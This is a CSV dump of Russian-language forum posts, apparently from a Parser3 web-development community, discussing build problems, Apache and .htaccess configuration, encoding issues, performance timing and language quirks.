"79574","Лучше else соорудить или глобальную переменную как флаг использовать, а потом её проверять через if. Но это не то чего бы хотелось :)"
"79575","в корне веб пространства создаете файл null.p:\
[code]@main[]\\n\
\\n\
[/code]\
, где [b]\\n[/b] перенос строки\
\
Далее после вызова редиректа вставляем ^use[/null.p] – и проблема решена. Единственное вся логика у меня помещается в @auto[], а в @main[] хранится только отображение результата.\
\
Можно все оформить в виде нормальных классов."
"79576","В нужном скрипте и можно обойтись без обёрток.\
\
[code]@unhandled_exception[exception;stack]\
^if($exception.type eq 'redirect'){\
	$response:status(^exception.comment.int(302))\
	$response:location[^taint[as-is;$exception.source]]\
}{\
	^unhandled_exception_debug[$exception;$stack]\
}[/code]"
"79578","[quote]В нужном скрипте[/quote]\
\
Точечно, там где необходимо."
"79579","./buildall --without-xml --with-apache --strip\
....\
Configuring parser3...\
configure: WARNING: to regenerate Parser grammar YOU WOULD NEED BISON\
configure: error:  does not seem to be valid apache apxs utility path\
Building parser3...\
make: *** No rule to make target `install'.  Stop.\
\
Linux Debian 6 x64\
Apache 2"
"79581","Ощибка во второй строчке — ему apxs не хватает. Видимо надо подождать МоКо — он по Дебианам большой специалист."
"79582","надо поставить пакет apache2-prefork-dev\
Ну или какой у там у вас апач требуется."
"79585","В случае Debian я бы не собирал, а сказал \
\
>sudo apt-get install libapache2-mod-parser3\
\
:)\
\
Если конечно хватает версии 3.4.2, которая в wheezy.\
\
>apt-cache showpkg libapache2-mod-parser3"
"79586","... но это нужно разработчикам, а для обычной сборки он не требуется."
"79587","Когда апач2 запустился с парсером в режиме модуля весь сервер стал очень нестабильно работать:\
fork: Cannot allocate memory на любую комманду в шелле, еще показывал ошибки дисковой системы (она в порядке), через раз при запуске сервисов говорил что не хватает каких-то либ (все хватает).\
Вернул в режим CGI - все стало хорошо...\
\
Есть мысли что это и почему?"
"79588","Вот, писалось как-то про модуль на форуме:\
\
\"А модуль вы используете потому, что у вас высокая посещаемость? Сами мы модуль практически не используем (расход памяти существенно увеличивается, а выигрыш в производительности минимален, если речь идет о частоте вызовов до 10-ти в секунду).\"\
\
Суть в том, что в cgi варианте процессы парсера потребляют память только в случае, когда парсер работает. А в случае модуля apache каждый процесс является парсером и суммарное потребление памяти растет в разы. \
\
Apache с модулем парсера имеет смысл использовать в качестве back-end, используя при этом в качестве front-end скажем nginx."
"79589","Да, в том то и дело что посещаемость высокая, и была поставлена задача увеличить скорость работы..."
"79590","slonik_v_domene недавно напиал очень полезный материал на схожую тему — http://slonik-v-domene.livejournal.com/142305.html\
\
Альтернативный вариант — добить в сервер памяти."
"79592","Хотя и я собирал свежее в виде пакета, но потом отказался в виду нестабильности если рядом работает еще php с xml"
"79593","[quote]Да, в том то и дело что посещаемость высокая, [/quote]\
\
Что значит \"высокая\"? Сколько вызовов парсера в секунду?\
Какое среднее время генерации страницы? Какое железо?\
Какая нагрузка на сервере?\
\
[quote]и была поставлена задача увеличить скорость работы...[/quote]\
\
Если мне надо разобраться с проблемами с производительностью,\
я начинаю с поиска узких мест. И решение о переходе на модуль\
принимаю не потому, что \"модуль быстрее\", а если станет понятно, что это реально даст положительный эффект.\
\
Заметный эффект будет в двух случах: очень большое число вызовов парсера (не меньше сотни в секунду) или очень долгий коннект к базе (oracle) при нескольких вызовах парсера в секунду."
"79594","перенес сайт на новый хостинг с Дебиан 6 х64, установил правильную версию парсера и библиотеку к mySQL - в итоге сайт функционирует, кодировка win-1251, база тоже в ней, но на все SELECT кириллические символы заменяются на ?????????????. В чем косяк?\
\
http://ярославль.домовия.рф"
"79595","положите в корень сайта _test.html, обратитесь к нему из браузера и посмотрите что он вам напишет по поводу строки подключения к БД."
"79596","Привет. Исследуя странное расходы памяти Парсером в некоторых конфигурациях, я сделал вот такой скрипт (код ниже). Но прежде чем приступать к серьезным измерениям, обнаружил несколько неожиданное поведение статусных параметров. Точнее:\
- время работы скрипта, переданное в utime, на 10-20 ms больше времени, вычисленного как разность абсолютных дат с момента старта и окончания скрипта. Почему?\
- время отклика веб-сервера при загрузке с того же самого хоста примерно вдвое превышает время выполнения типового скрипта. Это Apache с Nginx'ом такие тормозные или Парсер что-то не учитывает? \
- в довесок: ^sleep() на 3.4.3/Debian, похоже, игнорирует дробные значения.\
\
В общем, у меня такие параметры получились: \
Среднее время выполнения скрипта utime 15.201 ms\
Среднее время выполнения скрипта d(tv) 6.627 ms\
Среднее время ожидания отклика 51.337 ms \
\
Сам скрипт (для установки достаточно скопировать текст в любой файл):\
[code]\
@main[]\
$timestart(^curtime[])\
$u[^request:uri.split[?;lh]]$u[$u.0]\
#загружает сам себя\
$loadurl[http://$env:SERVER_NAME/$u?load_tester=1]\
#или загружает главную страницу\
#$loadurl[http://$env:SERVER_NAME/?load_tester=1]\
$rm[^table::create{utime	tv	maxrss	usedmem	allmem}]\
\
\
$wait(0)\
$cnt(^form:cnt.int(0))\
^if($cnt){\
#больше 1000 итераций не дает существенного улучшения статистики\
	^if($cnt > 1000){$cnt(1000)}\
	^for[i](0;$cnt){\
		$rn(^math:random(9999))\
		^if($rn > 9900){^memory:compact[]}\
		$before(^curtime[])\
		$x[^file::load[text;$loadurl&rn=$rn][$.any-status(true)]] \
		^wait.inc(^curtime[] - $before)\
		^rm.append{^untaint{$x.text}}\
	} \
	\
	$utime(0) $tv(0) $maxrss(0) $usedmem(0) $allmem(0)\
	^try{\
		^rm.menu{^utime.inc($rm.utime) ^tv.inc($rm.tv) ^maxrss.inc($rm.maxrss) ^usedmem.inc($rm.usedmem) ^allmem.inc($rm.allmem)}\
	}{^blad[]}\
	$rmc(^rm.count[])\
	<p>Среднее время выполнения скрипта utime ^eval($utime / $rmc * 1000)[%.3f] ms\
	<p>Среднее время выполнения скрипта d(tv) ^eval($tv / $rmc * 1000)[%.3f] ms\
	<p>Среднее время ожидания отклика ^eval($wait * 1000 / $rmc)[%.3f] ms\
	<p>\
	<p>Средняя память процесса maxrss ^eval($maxrss / $rmc)[%.0f] kbytes\
	<p>Средняя память gc ^eval($usedmem / $rmc)[%.0f] kbytes\
	<p>Средняя полная память gc ^eval($allmem / $rmc)[%.0f] kbytes\
}{\
#эту строчку можно добавить в конец выполнения скрипта главной страницы на сайте\
^if(def $form:load_tester){^for[i](1;999){$j(^math:random(9999))}^sleep(0)$response:body[$status:rusage.utime	^eval(^curtime[]-$timestart)	$status:rusage.maxrss	$status:memory.used	$status:memory.ever_allocated_since_start]}\
}\
\
@curtime[]\
$result($status:rusage.tv_sec - 1391900000 + $status:rusage.tv_usec / 1000000 )\
[/code]\
\
Благодарю за внимание."
"79597","помогло указать explicit кодировку в строке подключения .../dbname?cp1251"
"79598","сравниваете зелёное с тяжёлым.\
\
[code]\
$timestart(^curtime[])\
+$utimestart($status:rusage.utime)\
...\
-^if(def $form:load_tester){^for[i](1;999){$j(^math:random(9999))}^sleep(0)$response:body[$status:rusage.utime	^eval(^curtime[]-$timestart)	$status:rusage.maxrss	$status:memory.used	$status:memory.ever_allocated_since_start]}\
+^if(def $form:load_tester){^for[i](1;999){$j(^math:random(9999))}^sleep(0)$response:body[^eval($status:rusage.utime-$utimestart)	^eval(^curtime[]-$timestart)	$status:rusage.maxrss	$status:memory.used	$status:memory.ever_allocated_since_start]}\
[/code]\
\
P.S. в utime включено время, пока OS нашла parser3.cgi, загрузила его, считала html+p файлы, откомпилила их, выполнила @conf. а ваш dtv вы сами видите что считает.\
P.P.S. и да, часть работы парсера вы не измеряете (если запоминание начального времени перенесёте в @conf[], который в конфигурационном auto.p, а окончание -- в postprocess -- будет чуть точнее), а часть измерить не можете в принципе. к последнему относится вывод парсером результата, когда он после postprocess из строки, состоящей из кусочков на разных языках, формирует окончательный ответ (C-string, на что может уйти больше памяти чем требовалось под исходную кусочковую строку + время)\
P.P.P.S. про сервер можно не спрашивать. возьмите да сравните с прямым вызовом дочернего процесса через ^file::exec[]."
"79599","Преамбула:\
папку с классами и cgi-bin советуют держать вне корня веб-пространства. Я на INFOBOX хощусь а там как указал корневую папку для проекта - выше нее тебя не выпустят даже если там твое дисковое пространство. Всю жизнь клал cgi и classes в корень сайта. Теперь решил поступать по умному и единственное решение (чтобы .htaccess находил папку с cgi-скриптом парсера) - создать такую структуру:\
/.htaccess\
/classes/\
/cgi-bin/\
/app/public/_ind.html\
/app/public/auto.p\
\
содержимое .htaccess\
[code]AddHandler parsed-html html .rss\
Action parsed-html /cgi-bin/parser3.cgi\
\
# gzip сжатие.\
<IfModule mod_deflate.c>\
\
# html, txt, css, js, json, xml, htc:\
AddOutputFilterByType DEFLATE text/html text/plain text/css application/json\
AddOutputFilterByType DEFLATE text/javascript application/javascript application/x-javascript\
AddOutputFilterByType DEFLATE text/xml application/xml text/x-component\
\
# веб-шрифты и svg:\
<FilesMatch \"\\.(ttf|otf|eot|svg)$\" >\
    SetOutputFilter DEFLATE\
</FilesMatch>\
</IfModule>\
\
<Files ~ \"\\.(p|imho|cfg|pt)$\"> \
  Order allow,deny \
  Deny from all\
</Files> \
\
RewriteEngine On\
RewriteBase /app/public/\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteRule ^(.*)$ _ind.html?_action=$1 [QSA]\
[/code]\
\
А вот и сама проблема: страница компилируется, но без css и javascript ^все стили, скрипты, судя по всему, как-то тоже обрабатываются через _ind.html потому что, когда в браузере вводишь путь скрипта - получаешь редирект на главную страницу - не можешь получить доступ к файлу самому ...\
\
[code]<!DOCTYPE html>\
<html lang=\"en\">\
<head>\
<meta charset=\"win-1251\" />\
<title> GCmedia </title>\
<meta content=\"width=device-width, initial-scale=1.0\" name=\"viewport\" />\
<meta content=\"\" name=\"description\" />\
<meta content=\"\" name=\"author\" />\
<link rel=\"stylesheet\" href=\"http://fonts.googleapis.com/css?family=Open+Sans:300,400,700&subset=Latin,Cyrillic\">\
<link rel=\"stylesheet\" href=\"/assets/plugins/nativeDroid/css/font-awesome.min.css\">\
<link href=\"/assets/plugins/jqm/jquery.mobile.theme-1.4.0.min.css\" rel=\"stylesheet\" type=\"text/css\">\
<link href=\"/assets/plugins/jqm/jquery.mobile.structure-1.4.0.min.css\" rel=\"stylesheet\" type=\"text/css\">\
<link href=\"/assets/plugins/jqm/jquery.mobile.icons-1.4.0.min.css\" rel=\"stylesheet\" type=\"text/css\">\
<script src=\"/assets/plugins/jqm/jquery-2.0.3.min.js\" type=\"text/javascript\"></script>\
<script src=\"/assets/plugins/jqm/jquery.mobile-1.4.0.min.js\" type=\"text/javascript\"></script>\
<script src=\"/assets/scripts/gcmedia.js\" type=\"text/javascript\"></script>\
<link href=\"/assets/css/gcmedia.css\" rel=\"stylesheet\" type=\"text/css\">\
</head>[/code]\
\
Что именно я делаю не так и какой должен быть код .htaccess ???\
пример: http://m.godschurch.ru/ - сайт"
"79600","Мне как раз зеленое нужно, благодарю. \
То есть, раз utime считает с самого-самого начала, а скрипт не создает большую строку (т.е. время на подготовку результата пренебрежимо мало), то я буду считать его достоверным источником информации о времени работы скрипта. \
\
Но поскольку utime не учитывает ожидание http, то \"тяжелый\" способ - через tv - пойдет как раз для этого. \
\
Последнее не понял. Делать ^file::exec[хитрый_путь_до_парсера_+_хитрый_путь_до_документа]?"
"79602","Решение в лоб: вместо «/assets/plugins/nativeDroid/css/font-awesome.min.css» написать «/app/public/assets/plugins/nativeDroid/css/font-awesome.min.css» поскольку именно такой путь от корня сайта, если app/public лежит в document-root. Имеено поэтому и редирект происходит.\
\
Но, поскольку речь идет про приложение на pf, то я бы предложил другие варианты. Я у себя на сервере имею возможность настроить докрут в любую папку, а у вас она задана хостером, поэтому нужно слегка изменить структуру папок.\
\
1. В корень переносим содержимое папки public проекта, а app и classes выносим на уровень выше, cgi-bin пихаем в веб-пространство. \
/.htaccess\
/_ind.html\
/assets/\
/cgi-bin/\
/../classes/\
/../app/\
/../app/controllers\
/../app/views/\
/../app/models\
Таким образом в веб-пространстве оставляем только то, что должно быть публичным. cgi-bin должен находиться в веб-пространстве — это нормально.\
\
2. Выносим app и classes целиком на уровень выше и делаем симлинки в корень веб-пространства, cgi-bin оставляем в корне.\
/.htaccess\
/cgi-bin/\
symlink: /../app/public/_ind.html -> /_ind.html\
symlink: /../app/publiv/assets/ -> /assets/\
/../app/public\
/../app/controllers/\
/../app/models/\
/../app/views/\
\
Возможно, что надо будет добавить Options FollowSymlinks в htaccess.\
В обоих вариантах надо будет подправить CLASS_PATH.\
\
Я бы выбрал второй вариант — так удобнее работать с системами контроля версий.\
\
p.s. Строку RewriteCond %{REQUEST_FILENAME} !-d можно убрать — смысла в ней никакого нет."
"79604","перерыл интернет, вижу как сделать симлинки через терминал, но у меня нет доступа к терминалу, у меня заказан виртуальный хостинг от инфобокса. как установить симлинк?"
"79605","... на соединение, ожидание и передачу ответа. Время ожидания — это и есть время работы связки веб-сервер-парсер. Время работы Парсера я считаю по формуле: $status:rusage.utime + $status:rusage.stime + $sqlStat.queriesTime + $sphinxStat.queriesTime. Т.е. складываю все время, которое работал Парсер и время работы sql-серверов и поискового движка, которые у меня считаются в sql-классах. Разница между этим временем и временем ожидния и и есть время, которое требуется для работы веб-сервера и постпроцесса Парсера. На моих серверах эта разница составляет единицы милисекунд, т.е. на один-два порядка меньше времени генерации страницы (как правило 3-5 мс, при времени генерации страниц 50-200 мс). Т.е. если аккуратно все посчитать, то разница должна быть несущественной и ей можно пренебречь. Если разница существенная, то надо смотреть как настроены веб-серверы — не исключено, что хостлукапы не отключены или лишних модулей дофига.\
\
p.s. Миша, мне кажется, что utime не включает в себя stime:\
\
[code]\
       int getrusage(int who, struct rusage *usage);\
       ...\
       struct timeval ru_utime; /* user CPU time used */\
       struct timeval ru_stime; /* system CPU time used */\
       ...\
       ru_utime\
              This is the total amount of time spent executing in user mode,\
              expressed in a timeval structure (seconds plus microseconds).\
\
       ru_stime\
              This is the total amount of time spent executing in kernel\
              mode, expressed in a timeval structure (seconds plus\
              microseconds).\
[/code]"
"79606","Но можно и без симлинков обойтись — см. первый вариант."
"79607","Pf лежит в меркуриал-репозитории на Битбакете (аналог Гитхаба) — http://code.volchkov.net/parser3-pf"
"79608","я не могу выйти выше веб-пространства, которое и есть корень в моем проекте, потому что папка, которую я указываю при \"создании сайта\" и является пределом путешествий в корень. Поэтому я и создал папку public и хотел определить ее как корень через .htaccess"
"79609","то есть вы смогли линковать все файлы за к вашим проектам и у всех их свежая версия? Или в чем тогда смысл для моего приложения отслеживать версии?"
"79610","Не исключено, что infobox зачрутил ftp-доступ на корень веб-пространства. На странице http://infobox.ru/hosting/linux/ я вижу, что ssh-доступ есть на всех тарифах, т.е. надо зайти через ssh и посмотреть как все-таки устроена ваша папка. Как конкретно заходить лучше посмотреть в панели управления хостера или задать вопрос техподдержке."
"79611","http://ru.wikipedia.org/wiki/%D1%E8%F1%F2%E5%EC%E0_%F3%EF%F0%E0%E2%EB%E5%ED%E8%FF_%E2%E5%F0%F1%E8%FF%EC%E8\
\
Про Меркуриал есть хороший сайт на русском — http://mercurial.ru/"
"79612","только на новых тарифных планах, которые вступили в силу недавно, все придется вручную переносить - и старое и новое. переоформлять все юрдокументы. попробую вариант \"в лоб\" - может пойдет...\
\
тоесть .htaccess ничего не решит в плане RewriteBase и document root не установить через него??"
"79613","Варианты:\
— Централизованную (svn, cvs и т.п.).\
— Распределенную (git, mercurial и т.п.).\
— Другую. (Что именно?)\
— Не использую.\
— А что это такое?"
"79614","Если .htaccess считывается и выполняется, то это и есть корень. \
\
В данном случае я бы сделал так:\
\
/.htaccess\
/cgi-bin/\
/_ind.html\
/assets/\
/classes/\
/app/controller/\
/app/models/\
/app/views/\
\
Т.е. содержимое /app/public перенес в корень, а в app и classes положил .htaccess со строками:\
[code]\
Order Deny,Allow \
Deny from all\
[/code]"
"79615","Начинал с svn, потом перешел на Меркуриал. Перешел бы на Гит, но три года назад он не справился с конвертацией моего самого большого репозитория, а hg справился. :) Кроме того, мне Меркуриал кажется несколько более логичным и удобным, но это очень субъективно."
"79616","У нас в ходу все 4 основные системы. cvs/svn на старых проектах, mercurial на некоторых. В основном используется git, точнее даже http://github.com. Он достаточно тормозной, но зато много чего можно делать через веб. Для администрирования кроме веба ничего и не надо."
"79619","[quote]Миша, мне кажется, что utime не включает в себя stime[/quote]\
\
да, я ошибся при написании комментария \"посреди ночи\".\
\
кстати на win32 точность utime/stime вообще никакая.\
html с одной строчкой кода:\
[code]\
$status:rusage.utime	$status:rusage.stime\
[/code]\
\
что при запуске в отдельном каталоге, что при запуске в корне сайта (где подключается кучка p файлов) как правило выдаёт одно из четырех:\
0 0\
0 0.0156001\
0.0156001 0 (чаще всего)\
0.0156001 0.0156001"
"79621","Цель: данные должны пройти через javascript, быть корректно обработаны JQuery при вставке (в т.ч. скрипты) и не создавать артефактов. \
Перепробовал несколько вариантов, остановился на этом: ^taint[js][^apply-taint[js][тут html, встроенные скрипты и т.д.]]\
Способ дает артефакты: & nbsp ; превращается в экранированные кавычки. И ошибки: // комментарии в скрипте приводят к его неработоспособности."
"79622","Возможно ли пинудительное скачивание файла с другого хостинга путем вызова данного оператора?\
У меня ссылки есть на ресурсы на других хостингах вне пространства сайта в mp3 и mp4 форматах и я не хочу чтобы они открывались в браузере\
\
пока что не удавалось....\
[code]$response:download[^file::load[binary;https://ia601700.us.archive.org/26/items/godschurch-yar/20140208_Lukianov_momentPokloneniya.mp3]][/code]\
read failed: Invalid argument (22), actual filename 'https://archive.org/download/.....mp3\""
"79623","Спасибо за наводку тогда, сейчас с ней работаю, относительно удобно"
"79625","когда я пытался закачать по http судя по времени сколько он обрабатывал файл, он пытался его на сервак сначала загрузить мой а потом уже браузеру выдать? а побыстрее нет пути?\
\
я для .мр3 нашел выход для Chrome только добавить  download=\" новое название файла\" в <a> - тогда браузер принудтельно скачивает. с  видео иная песня"
"79626","Не уверен что вопрос про парсер, но может кто подскажет...\
\
Есть два сайта раньше крутились на виндовом выделенном хостинге, перенес на линукс шаред, появилась проблема\
\
$file[^file::load[text;http://${env:SERVER_NAME}${fileName}]]\
\
эта сточка грузит php скрипт sape, симптомы такие - грузит секунд 5 (или сколько там таймаут по умолчанию) потому выдает  exception.type=http.timeout, через раз, в 2/3 случаев отрабатывает нормально. Если дергать пхп скрипт напрямую в броузере - всегда все нормально. Пара сайтов давно лежащих рядом на этом шаред хостинге и использующие подобную технику с тем же скриптом (но более старый парсер) - работает без проблем. \
\
Не могу понять в чем дело, может кто скажет куда копать?"
"79627","Увеличьте таймаут до 10 секунд"
"79628","В [url=\"http://www.parser.ru/examples/auth/\"]классе авторизации[/url] не стоит запрет на создание логина с уже имеющимся в БД и-мейлом. Это сделано для борьбы с любителями copy/paste, просто забыли дописать или есть какие-то другие причины?"
"79629","unique (auser_type_id, name)\
т.е.\
Пользователей с одним логином не может быть в принципе."
"79630","Я не про логин, а про e-mail."
"79631","... добавить уникальный индекс на поле с электропочтой, и реализовать обработку ошибки при попытке вставить в базу запись. \
\
p.s. Далеко не всегда нужно поддерживать уникальность электропочты."
"79632","Теперь вы можете обновить плагин через IDEA - текущая версия работает с IDEA 133.696 и выше.\
\
Плагин снова дорабатывается и на данный момент приоритеты разработки устанавливаются в соответствии с потребностями моих коллег.\
\
На данный момент работаю над поддержкой подсветки Parser-синтаксиса в html файлах - довольно объемная часть исходя из того, что необходимо не сломать фичи, которые любят полу-кодеры/полу-технологи: Zen Coding и html-автокомплит.\
\
Также, скорее всего, будет отдельная версия подсветки синтаксиса без обработки Psi-дерева (то есть не будет автокомплита) для PHPStorm (по просьбе трудящихся).\
\
Также, хочу отметить, что для PHPStorm плагин использовать нельзя, так как у среды отрезана поддержка внешних языковых плагинов в API."
"79633","Как по мне, так это очень удобно, но не понятно, почему Яндекс сначала ввел ее в 2011 году, а потом отменил, у Гугла для России тоже не стали ее вводить, хотя для некоторых стран она есть.\
Главные примеры бесконечной прокрутки это таймлайны в Контакте и Facebook'е.\
\
Хочу ввести себе на сайт для результатов выборки, но смущает слабое внедрение у большинства сайтов."
"79634","Вообще вещь прикольная, но области применения очень узкие.\
Минусов больше, особенно возврат назад. В вк полный аякс, им проще. А вот например в выдаче, произошел переход, а если клацнуть назад, то загрузится только начало. Можно конечно хешь тегами запоминать, что где и как, но в итоге все равно будет все как-то криво."
"79636","- нельзя оценить хоть примерно общий объем результатов\
- нельзя вернуться\
- нельзя скинуть ссылку на хотя бы на порцию результатов\
- очень трудно добраться до футера, а бывает надо\
\
да и вообще в принципе не очень ясно зачем это надо? какие проблемы интерфейса такой подход решает? скролл вместо клика?"
"79639","Он будет считать что кэшь, то что было получено, а не изменено в процессе."
"79642","всем привет)\
в каком уроке можно научиться редактировать текст?"
"79644","Добрый день!\
\
Ниже привожу код запроса.\
После этого кода идет оформление элемента.\
@load[data;connect_str]\
$connect_string[$connect_str]\
^connect[$connect_string]{\
	$tabletka[^table::sql{select * from table where tp=1 && tp2=2 ORDER BY tp ASC limit 500}]\
}\
\
@show_all_gogogo[]\
\
^tabletka.menu{\
\
У меня возникла проблема, первый элемент пропускается... Не знаю почему. Показываются 2,3,4,5,6 и так далее... и ещё такое чувство что он начинает стоить последний элемент, но нет у него данных. Можете пожалуйста посоветовать что делать? Только пожалуйста не надо лить мусора, все только по теме.\
Заранее всем спасибо."
"79646","Ну а как же? В MySQL все идеально выводиться... все записи... А вот Парсер, по своим \"чудным\" свойствам, почему то берет и считает не с 1 элемента, а со второго, и в добавок к этому ещё и создает в конце пустой элемент. Получается что Парсер выводить на один элемент вперед, относительно бд."
"79647","[code]^tabletka.menu{[/code]"
"79648","Только тогда не таблетка, а tabletss =)\
Вот:\
<li class=\"model\" style=\"height:93px;\">\
<a href=\"/products/tablets/^untaint{$tabletss.name}/\">\
<img src=\"/products/tablets/^untaint{$tabletss.name}/assets/^untaint{$tabletss.name}_menu.png\" alt=\"^untaint{$tabletss.name}\" width=\"60\" height=\"50\" />\
</a>\
<p class=\"name\">\
^untaint{$tabletss.name}\
</p>\
^if(^untaint{$tabletss.files}==1){\
<ul class=\"files\">\
<li>\
<noindex>\
<a rel=\"nofollow\" target=\"_blank\" href=\"/^untaint{$tabletss.name}/\">\
<i></i>\
Файлы и драйвера\
</a>\
</noindex>\
</li>\
</ul>\
}\
^if(^untaint{$tabletss.helpdesk}==1){\
<ul class=\"files\">\
<li>\
<noindex>\
<a rel=\"nofollow\" target=\"_blank\" href=\"^untaint{$tabletss.helpdeskname}\">\
<s></s>\
Вспомогательная информация об устройстве\
</a>\
</noindex>\
</li>\
</ul>\
}\
</li>"
"79650","Попробовал в файле *.p экранировать \";\" через символ \"\\\", получилось \"<li class=\"model\" style=\"height:93px\\;\">\", но это не дало результат. Я перенес стили в css, и вуаля, все таки все заработало. Спасибо большое за помощь!!!"
"79651","И еще один момент по вашему коду — untaint'ы в нем не нужны. http://www.parser.ru/examples/tainting/"
"79652","Ошибка появляется при исполнении следующего кода: \
$result[^table::sql{SELECT ...\
В программе нет ни метода @sql, ни строки $sql{}  ни переопределенного класса table. \
Подскажите пожалуйста, куда копать. \
Я тем временем буду упрощать код до тех пор пока ошибка не исчезнет или не поменяется."
"79653","Внутри запроса \
$result[^table::sql{SELECT * FROM ^prefix[table]\
создавался junction, потому что метод @prefix возвращал сам себя:\
@prefix[tab]\
$result[${prefix}$tab]\
\
Очевидно, Парсер в этой ситуации игнорировал текст и интерпретировал всё как junction. Но почему-то произошла подмена названия ошибочного метода."
"79654","у меня в 3.4.3 (как и у всех, кто пользуется стандартным @unhandled_exception) ошибка выглядит так:\
[quote]\
Unhandled Exception (Debug)\
is 'junction', it has no string representation\
[b]sql[/b]\
/path/to/www/file.html(5)\
exception.type=parser.runtime\
[/quote]\
\
в сообщении об ошибке парсер говорит, что проблема произошла в методе sql. ошибка -- попытка преобразовать junction к строке.\
в указанной, пятой, строке есть только один метод с именем sql: table::sql.\
т.е. мне очевидно, что проблема находится внутри формирования тела sql. проблема == там объект junction, а не строка.\
\
но по вашей интерпретации сообщения об ошибке я этого понять не мог, т.к. текст сообщения выводился необычно:\
[quote]\
sql is 'junction', it has no string representation\
[/quote]"
"79655","Очень бесит. И до футера не доберешься."
"79657","самая первая версия auto.p в cvs:\
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/bin/auto.p.dist.in?revision=1.1&view=markup\
\
самая последняя:\
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/bin/auto.p.dist.in?revision=1.19&view=markup\
\
т.е. и там и там source отделено от comment.\
возможно:\
- слиплось при copy/paste. вы не обратили на это внимания, а нас это ввело в заблуждение\
- вы таки его правили (и забыли)\
- или в вашей версии парсера (вы забыли её сообщить) само сообщение об ошибке (comment) выдаётся иначе. тексты сообщений об ошибках мы иногда подправляем, также не очень давно правился баг с некорректным указанием на источник проблемы в некоторых случаях, возможно это ваш случай."
"79658","http://shop.in.ua\
http://b2b.shop.in.ua\
Контакт: 0506987201 Евгений."
"79659","Ханс Боэм окончательно съехал со своей страничкой с серверов HP. На старом месте 404 ошибка.\
Новый сайт — http://www.hboehm.info/gc/index.html\
Страничка загрузки — http://www.hboehm.info/gc/gc_source/\
\
Патч для текущего head, пока не внесли изменения в cvs:\
\
[code]\
Index: buildall\
===================================================================\
RCS file: /parser3project/parser3/buildall,v\
retrieving revision 1.12\
diff -u -r1.12 buildall\
--- buildall	18 Oct 2013 12:57:09 -0000	1.12\
+++ buildall	28 Feb 2014 06:01:37 -0000\
@@ -115,7 +115,7 @@\
 if test ! -f \"$project_dir/gc/lib/libgc.a\"; then\
 #   libgc=\"gc6.8\" # FreeBSD 4.X is not supported in newer gc version\
     lib=\"gc-7.2\"\
-    prepare_gz ${lib}d.tar.gz http://www.hpl.hp.com/personal/Hans_Boehm/gc/gc_source/\
+    prepare_gz ${lib}d.tar.gz http://www.hboehm.info/gc/gc_source/\
     echo \"Configuring $lib...\"\
     CPPFLAGS=\"-DUSE_LIBC_PRIVATES -DUSE_MMAP -DDONT_ADD_BYTE_AT_END\" \\\
     ./configure --prefix=$project_dir/gc \\\
[/code]"
"79660","Добрый день. Столкнулся с проблемой: при отправке сообщения на домен второго уровня ловлю ошибку:\
\
send\
'/usr/sbin/sendmail' reported problem: UNKNOWN (67)\
\
root@dedicted:/root # uname -a\
FreeBSD dedicted.freehost.cm.ua 9.1-STABLE FreeBSD 9.1-STABLE #0 r245869: Thu Jan 24 13:24:30 UTC 2013     root@test.test:/usr/obj/usr/src/sys/ISPSYSTEM  amd64\
\
Parser/3.4.3 (compiled on x86_64-unknown-freebsd9.0)\
\
\
\
\
[code]	^mail:send[ \
	      $.from[noreply@balashov.com] \
	      $.to[partiya@balashov.com.ua] \
	      $.subject[Тема] \
	      $.text[текст]\
\
	]\
[/code]"
"79662","Google -> sendmail error 67\
\
http://serverfault.com/questions/459204/sendmail-process-failed-with-error-code-67\
\
[quote]Your local MTA thinks that mail for whatever domain you tried to send to should be sent to the local machine, but there is no user with that username on the local machine. Ensure that the server's hostname is not the same as the domain name you are trying to deliver to, and that sendmail is not configured to deliver mail for that domain locally.\
[/quote]"
"79663","[code]@main[]\
$h[\
	$.1[$.name[a]]\
	$.3[$.name[b]]\
	$.4[$.name[c]]\
]\
$h2[^rehash[$h;k;v]{$.[$v.name][$k]}]\
\
@rehash[hash;key;value;code]\
$result[^hash::create[]]\
\
^hash.foreach[k;v]{\
	$caller.$key[$k]\
	$caller.$value[$v]\
\
	^result.add[$code]\
}[/code]\
\
Ошибка [i]hash may not be overwritten with hash, store it to variable instead[/i], ругается на [i]$h2[^rehash[$h;k;v]{$.[$v.name][$k]}][/i].\
\
При этом, работает, если перефразировать обругиваемый фрагмент так:\
[code]$h2[^rehash[$h;k;v]{\
	$_h[$.[$v.name][$k]]\
	$_h\
}][/code]\
\
И ещё более простое, но не менее странное:\
[code]@main[]\
$h[^h{$.a[b]}]\
\
[$h.a]\
\
@h[j]\
$result[$j][/code]\
— работает.\
\
[code]@main[]\
$h[^h{$.a[b]}]\
\
[$h.a]\
\
@h[j]\
$result[^hash::create[]]\
^result.add[$j][/code]\
— не работает, ошибка та же — [i]hash may not be overwritten with hash, store it to variable instead[/i].\
\
Подозреваю, что причина в hash.add."
"79664","насколько я понял из json можно получить только hash\
\
а как полуить из json - table?\
получить hash, а потом перебором заполнять table структуру (пока не придумал как)?\
\
для чего мне table: есть таблица соответствий (делаем объединение софта и данных писанного в разные годы под разные UNIX,DRDOS и даже NetWare module и тд и тп )\
cостоящая из полей: ID UID UUID UUID16\
\
если по ID получать нужные значения - это понятно и тут hash в общемто - норально, \
НО мне точно также надо по значению полей UID UUID UUID16 получать его ID\
\
если можно с hashем сделать чтото подобное $Res[^DataTable.select($DataTable.UUID eq $lUUID)] - расскажите как\
\
спасибо."
"79666","Конечно можно - с хешем это даже удобнее:\
[code]\
$ВашХеш.промежуточные_ключи.$lUUID\
[/code]\
Все ключи можно посмотреть перебором:\
[code]\
^ВашХеш.foreach[k;v]{$k - $v}\
[/code]\
Если $v - хеш, то его тоже ^v.foreach[k2;v2]{...}"
"79667","http://www.parser.ru/docs/lang/?exceptionunhandled.htm\
\
[quote]Имеется возможность предотвратить запись ошибки в журнал ошибок, для чего только для нужных ошибок можно зажечь флаг:\
$exception.handled(true)[/quote]\
\
Зажигайте его всегда, далее сами пишите в лог то, что вам больше нравится. :)"
"79668","непонятно.\
\
дано таблица:\
[code]\
ID | UID | UUID | UUID16\
 1 |   A |   AA |     A1\
 2 |   B |   BB |     B1\
 3 |   C |   CC |     C1\
 4 |   D |   DD |     D1\
[/code]\
\
после table -> json -> hash\
\
получаем:\
[code]\
{ \
 1:{ UID:A, UUID:AA, UUID16:A1},\
 2:{ UID:B, UUID:BB, UUID16:B1},\
 3:{ UID:C, UUID:CC, UUID16:C1},\
